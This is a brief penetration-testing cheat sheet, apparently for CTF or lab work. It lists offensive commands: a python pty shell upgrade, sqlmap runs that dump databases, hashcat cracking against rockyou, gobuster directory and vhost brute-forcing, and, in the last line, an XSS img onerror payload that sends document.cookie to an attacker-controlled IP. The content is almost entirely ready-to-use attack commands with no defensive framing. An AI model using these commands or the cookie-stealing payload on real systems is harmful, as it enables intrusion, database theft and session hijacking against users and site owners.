Upgrade Shell
python -c 'import pty;pty.spawn("/bin/bash")'
Background Session with ctrl + z
stty raw -echo && fg
press enter 2x
export TERM=xterm
SQLMap
sqlmap -r [Request] --level[0-5] --risk[0-3] --batch --dbms=mysql --dbs
sqlmap -r [Request] --batch --dbms=mysql -D [database] --tables --thread 10
sqlmap -r [Request] --dbms=mysql -D [database] -T [tables] -C [column] --dump
SSH Private Key
chmod 600 [KEY]
ssh -i [KEY] user@[IP]
Hashcat
hashid [hash.txt]
hashcat -m 1400 [hash.txt] /usr/share/wordlists/rockyou.txt
Gobuster
gobuster dir -u [website] -w /usr/share/wordlists/dirbuster/[commontext]
gobuster vhost -u [website] -w /usr/share/wordlists/seclists/Discovery/DNS/[subdomain]
Java script payload
<img src=x onerror=fetch("http://[localIP]:port/"+document.cookie);>